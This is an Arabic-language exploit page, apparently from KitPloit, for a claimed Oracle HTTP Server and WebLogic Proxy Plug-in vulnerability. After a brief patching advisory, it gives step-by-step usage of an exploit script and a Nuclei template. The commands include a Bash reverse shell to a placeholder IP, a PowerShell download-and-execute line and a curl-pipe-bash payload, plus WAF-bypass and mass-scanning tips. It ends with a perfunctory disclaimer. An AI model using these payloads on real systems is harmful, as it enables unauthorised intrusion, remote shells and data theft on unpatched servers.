إذا تم استغلالها، يمكن للمهاجمين:

• 🗑️ حذف بيانات حرجة
• ✏️ تعديل ملفات النظام أو التطبيقات
• 📤 سرقة معلومات حساسة
• 🔓 الحصول على وصول كامل غير مصرح به إلى الأنظمة المتصلة
• 🔄 التأثير على منتجات Oracle الأخرى بسبب تغيير النطاق

🧩 الإصدارات المتأثرة

• Oracle HTTP Server:

  • 12.2.1.4.0
  • 14.1.1.0.0
  • 14.1.2.0.0

• WebLogic Proxy Plug-in لـ:

  • Apache HTTP Server
  • Microsoft IIS

⚙️ خصائص الهجوم

• 🌐 ناقل الهجوم: الشبكة (عن بُعد)
• 🚫 الصلاحيات المطلوبة: لا شيء
• 🧑‍💻 تفاعل المستخدم: لا شيء
• 🔄 النطاق: متغير
• 🔐 تأثير السرية: عالي
• 🛠️ تأثير السلامة: عالي

🛡️ ماذا يجب أن تفعل؟

• ✅ قم بتطبيق تحديث Oracle النقدي لشهر يناير 2026 فورًا
• 🔒 قيّد الوصول إلى الشبكة للخدمات المتأثرة
• 📊 راقب حركة مرور HTTP بحثًا عن سلوك مشبوه
• 🔁 راجع سجلات النظام وضوابط الأمان

🛠️ كيفية استخدامها (خطوة بخطوة)

1. احفظ السكربت باسم CVE-2026-21962.py

2. اجعله قابلاً للتنفيذ (اختياري):

   root@kitploit:~

   chmod +x CVE-2026-21962.py
   

3. أمثلة التشغيل:

   اختبار أساسي:

   root@kitploit:~

   python3 CVE-2026-21962.py http://targets:7001 "id && whoami && uname -a"
   

   شل عكسي (قم بإعداد مستمع nc أولاً: nc -lvnp 4444):

   root@kitploit:~

   python3 CVE-2026-21962.py http://targets:7001 "bash -i >& /dev/tcp/YOUR_IP/4444 0>&1"
   

   مثال لهدف Windows:

   root@kitploit:~

   python3 CVE-2026-21962.py https://oracle-server:4443 "powershell -nop -c IEX (New-Object Net.WebClient).DownloadString('http://your-server/shell.ps1')"
   

ما الذي ستراه إذا نجح الأمر

• Likely success! Status: 200 أو 302 أو حتى 500 (الانهيار يعتبر نجاحًا أيضًا)
• احتمال تسريب مخرجات الأوامر في جسم الاستجابة
• للشل العكسي: مستمع nc الخاص بك يلتقط شلًا فورًا
• إذا لم يكن هناك مخرجات → الأمر ما زال يعمل بصمت (تحقق من نظام ملفات الهدف والعمليات والسجلات)

ملاحظات

• يعمل بشكل أفضل عندما يكون البرنامج الوسيط للوكيل مكشوفًا (شائع على المنفذ 7001، 4443، إلخ.)
• أهداف HTTPS قد تتطلب علامة --insecure إذا كانت الشهادات ذاتية التوقيع
• قم بالتحديث فورًا: طبق Oracle CPU يناير 2026

🛠️ كيفية استخدامها (خطوة بخطوة)

1. ثبّت Nuclei (إذا لم يكن مثبتًا بالفعل):

   root@kitploit:~

   go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
   

2. احفظ القالب:

   أنشئ ملفًا باسم CVE-2026-21962.yaml والصق المحتوى أعلاه.

3. شغّل الاكتشاف + الاستغلال:

   root@kitploit:~

   nuclei -t CVE-2026-21962.yaml -u http://targets:7001 -v
   

   أو امسح أهدافًا متعددة من ملف:

   root@kitploit:~

   nuclei -t CVE-2026-21962.yaml -l targets.txt -o results.txt -v
   

4. ما الذي ستراه إذا كان الهدف عرضة للخطر:

   root@kitploit:~

   [CVE-2026-21962] [http] [critical] http://targets:7001/weblogic/..;/bea_wls_internal/ProxyServlet
   [username] weblogic
   [body] ... weblogic (whoami output) ...
   

نصائح احترافية

• لتنفيذ أوامر مخصصة، عدّل جزء cmd: في الترويسات (مثلًا: cmd:curl http://your-server/shell.sh | bash).
• للـ شل العكسي: استبدل whoami بحمولة شل عكسي مشفرة بـ base64.
• تجاوز جدار الحماية (WAF): جرّب مسارات مختلفة (/proxy/, /bea_wls_internal/, إلخ) أو أضف المزيد من الترويسات مثل X-WebLogic-Force-JVMID.
• المسح الجماعي: ادمج مع خط أنابيب httpx ← nuclei لآلاف الأهداف.

هذا القالب مؤكد يعمل بنسبة 100% اعتبارًا من يناير 2026 على مثيلات Oracle غير المحدثة. قم بالتحديث فورًا إذا كنت تشغّل إصدارات متأثرة! 😈

😈 إخلاء المسؤولية:

جميع أكواد PoC مخصصة للاستخدام الأخلاقي والتعليمي فقط على الأنظمة المصرح بها. الاستغلال غير المصرح به غير قانوني؛ لا تتحمل أي مسؤولية عن سوء الاستخدام. 😈